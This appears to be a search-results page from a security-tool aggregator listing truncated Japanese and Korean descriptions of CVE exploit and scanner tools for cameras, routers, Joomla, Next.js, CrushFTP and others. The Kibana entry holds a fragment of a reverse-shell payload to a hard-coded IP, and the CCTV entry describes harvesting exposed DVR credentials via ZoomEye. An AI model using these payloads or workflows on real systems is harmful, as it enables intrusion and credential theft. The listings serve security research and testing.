80013 matches found
CVE-2017-7921
CVE-2017-7921 海康威視未認可アクセス検出Pocとパスワード検出 使用方法Usage： root@kitploit: Usage: -a 加载Poc模块 -b 加载密码爆破模块 -e 加载Exp模块 -f string 文件名称 默认为空 -i string 输入ip地址 eg:192.0.0.1-192.0.0.255 -p string 密码 default:12345 default "12345" -s string 协议 eg:http default "http" -t int 线程数量 默认50 default 50 -u string 用户名...
CVE-2017-7921-EXPLOIT
CVE-2017-7921 - Hikvision カメラシリーズにおける不適切な認証の脆弱性 CVE-2017-7921 として識別されるセキュリティ上の欠陥で、Hikvision カメラのさまざまなモデルに影響を与えます。この脆弱性は、DS-2CD2xx2F-I シリーズ（V5.2.0 build 140721 から V5.4.0 build 160530）、DS-2CD2xx0F-I シリーズ（V5.2.0 build 140721 から V5.4.0 Build 160401）、DS-2CD2xx2FWD シリーズ（V5.3.1 build 150410 から V5.4.4...
CVE-2022-44149
CVE-2022-44149 이 도구는 라우터의 CVE-2022-44149 취약점을 식별하는 데 도움을 주며, 연구자와 보안 전문가가 시스템을 테스트할 수 있도록 합니다. 인증 헤더 생성, 페이로드 전달 및 분석을 위한 상세 로깅 기능을 포함합니다. EN 이 도구는 라우터의 CVE-2022-44149 취약점을 테스트하기 위해 설계되었습니다. 이 취약점으로 인해 인증되지 않은 사용자가 라우터의 웹 인터페이스를 통해 임의 명령을 실행할 수 있습니다. 이 도구는 보안 전문가와 연구자가 네트워크에서 이 보안 문제를 식별하고 완화하는 데...
NextSploit
🔍 NextSploit: Next.js CVE-2025-29927 스캐너 및 익스플로잇 도구 ⚠️ NextSploit 는 Next.js의 보안 결함인 CVE-2025-29927 을 탐지하고 익스플로잇하기 위해 설계된 명령줄 도구입니다. 이 도구는 먼저 대상 웹사이트가 Next.js를 실행 중인지 식별하고, 해당 버전이 취약한 범위에 속하는지 확인합니다. 웹사이트가 취약한 것으로 확인되면, 도구는 자동으로 문제를 익스플로잇 하여 미들웨어 보호를 우회하고, 제한된 페이지에 대한 무단 액세스를 허용할 수 있습니다. 🚀 기능 🔍 자동...
CVE-2023-1454
CVE-2023-1454 jmreport/qurestSql 未承認SQLインジェクションのバッチスキャンpoc Jeecg-Bootは、Spring BootとJeecg-Boot-Plusをベースにした高速開発プラットフォームです。最新のjeecg-boot 3.5.0で複数のSQLインジェクション脆弱性が発見されました。 ツールの使用 python3 CVE-2023-1454-scan.py -u http://127.0.0.1:1111 単一URLテスト python3 CVE-2023-1454-scan.py -f url.txt バッチ検出...
unauthorized-tools
unauthorized-tools 未授权批量检测脚本 mongo unauthorized python mongounauth.py ip.txt...
CVE-2024-6387
OpenSSH CVE-2024-6387 완화 스크립트 이 저장소는 OpenSSH의 시그널 핸들링 메커니즘에서 발견된 CVE-2024-6387 취약점에 대해 SSH 구성을 스캔하고 보호하도록 설계된 Python 스크립트를 포함하고 있습니다. 이 취약점이 악용될 경우 인증 시간 초과 중 경쟁 조건으로 인해 무단 액세스 또는 서비스 거부 공격이 허용될 수 있습니다. 배경 CVE-2024-6387은 OpenSSH에서 LoginGraceTime 내에 인증에 실패할 경우 잠재적인 보안 취약점으로 이어질 수 있는 경쟁 조건 문제를 대상으로...
joomla_CVE-2023-23752
joomlaCVE-2023-23752 不正アクセス脆弱性 nuclei...
CVE-2023-46014-Code-Projects-Blood-Bank-1.0-SQL-Injection-Vulnerability
CVE-2023-46014-Code-Projects-Blood-Bank-1.0-SQL-인젝션-취약점 익스플로잇 작성자: ersinerenler 공급업체 홈페이지 https://code-projects.org/blood-bank-in-php-with-source-code 소프트웨어 링크 https://download-media.code-projects.org/2020/11/BloodBankInPHPWithSourcecode.zip 개요 Code-Projects Blood Bank V1.0은 hospitalLogin.php 파일의...
HTC
Hack The CCTV DVRs Credentials Exposed | CVE-2018-9995 | The CCTV Leaked Username For Get Loggin Access How To Use? root@kitploit: Open The https://www.zoomeye.org/ Search This Keyword '/login.rsp' Wait To Get IP and Port $ python3 thecctv.py More Information OS| Language| Contact ---|---|--- Lin...
xxl-job
xxl-job エグゼキュータ RESTful API 未認証アクセス RCE 実行ログConsoleを利用することでコマンド実行成功の結果を取得できます： 例： /joblog/logDetailPage?id=xxxx JDK環境変数の確認 root@kitploit: String var3 = System.getProperties.toString; System.out.printlnvar3; コマンド実行 /jobcode?jobId=x root@kitploit: import com.xxl.job.core.log.XxlJobLogger; import...
trackerjacker
trackerjacker Like nmap for mapping wifi networks you're not connected to. Maps and tracks wifi networks and devices through raw 802.11 monitoring. PyPI page: https://pypi.python.org/pypi/trackerjacker Install root@kitploit: pip3 install trackerjacker Supported platforms : Linux tested on Ubuntu,...
CVE-2024-23334
CVE-2024-23334 익스플로잇 및 PoC 이 저장소는 CVE-2024-23334에 대한 개념 증명PoC 익스플로잇을 포함하며, 서버의 민감한 파일에 무단 액세스를 허용하는 웹 애플리케이션의 취약점을 시연합니다. PoC는 도커화된 웹 서버와 취약점을 테스트하기 위한 익스플로잇 스크립트를 포함합니다. 저장소 구조 root@kitploit: . ├── .gitattributes ├── .git/ ├── Dockerfile ├── exploit.py ├── requirements.txt ├── server.py ├──...
brokeCLAUDIA
🔓 brokeCLAUDIA - CVE-2025-41090 CVE-2025-41090 - microCLAUDIAにおける不正なアクセス制御の脆弱性 📑 目次 microCLAUDIAとは？ 脆弱性（CVE-2025-41090） 📂 公開情報 CWE 不正なアクセス制御 修正措置 プレゼンテーション エクスプロイト 📂 概要 必要条件 インストール 使い方 メモ 参考文献...
crushftp-CVE-2025-2825
crushftp-CVE-2025-2825 CrushFTP に深刻な認証バイパスの脆弱性が発見されました! 💥 攻撃者は有効な認証情報を必要とせずに不正アクセスを取得する可能性があります。 危険性は何か? ⚠️ この欠陥により、完全な認証バイパスが可能になり、データ漏洩、不正なファイルアクセス、潜在的なシステム侵害につながります。CrushFTP を使用している場合、これは絶対に修正すべき状況です。 主な要点: 認証バイパス: ログイン不要! 🔓 Proof of Concept PoC が利用可能! 🧪 特定のバージョンに影響。 PoC...
CVE-2023-23752
CVE-2023-23752 Joomla 未認可アクセス脆弱性 CVE-2023-23752 脆弱性説明 Joomlaは、PHPで記述されたオープンソースのコンテンツ管理システム（CMS）であり、MySQL、MSSQL、PostgreSQLなどの複数のデータベースシステムをサポートしています。アクセス制限の不備により、認可されていないアクセスがサーバーREST APIインターフェースに可能となります。 影響を受けるバージョン：Joomla 4.0.0 - 4.2.7 使用ヘルプ root@kitploit: optional arguments: -h, --help show thi...
authz0
Authz0 is an automated authorization test tool. Unauthorized access can be identified based on URLs and Roles & Credentials. URLs and Roles are managed as YAML-based templates, which can be automatically created and added through authz0. You can also test based on multiple authentication headers...
kibana-RCE
CVE-2019-7609 kibana-RCE & /dev/tcp/10.10.20.166/8989 0&1";process.exit//' .propslabel.proto.env.NODEOPTIONS='--require /proc/self/environ' 0x02 Click Canvas to getshell...
CVE-2023-27350-POC
CVE-2023-27350-POC 説明: このツールは、PaperCut MF/NG バージョン 8.0 以上、ただし 20.1.7、21.2.11、または 22.0.9 より前のバージョンにおける認証バイパス脆弱性を悪用するために設計されています。この脆弱性により、システムへの不正アクセスが可能になり、悪意のある目的に使用される可能性があります。 インストール: 1. git clone https://github.com/TamingSariMY/CVE-2023-27350-POC.git 2. pip install pyfiglet 使用法: 1. python3...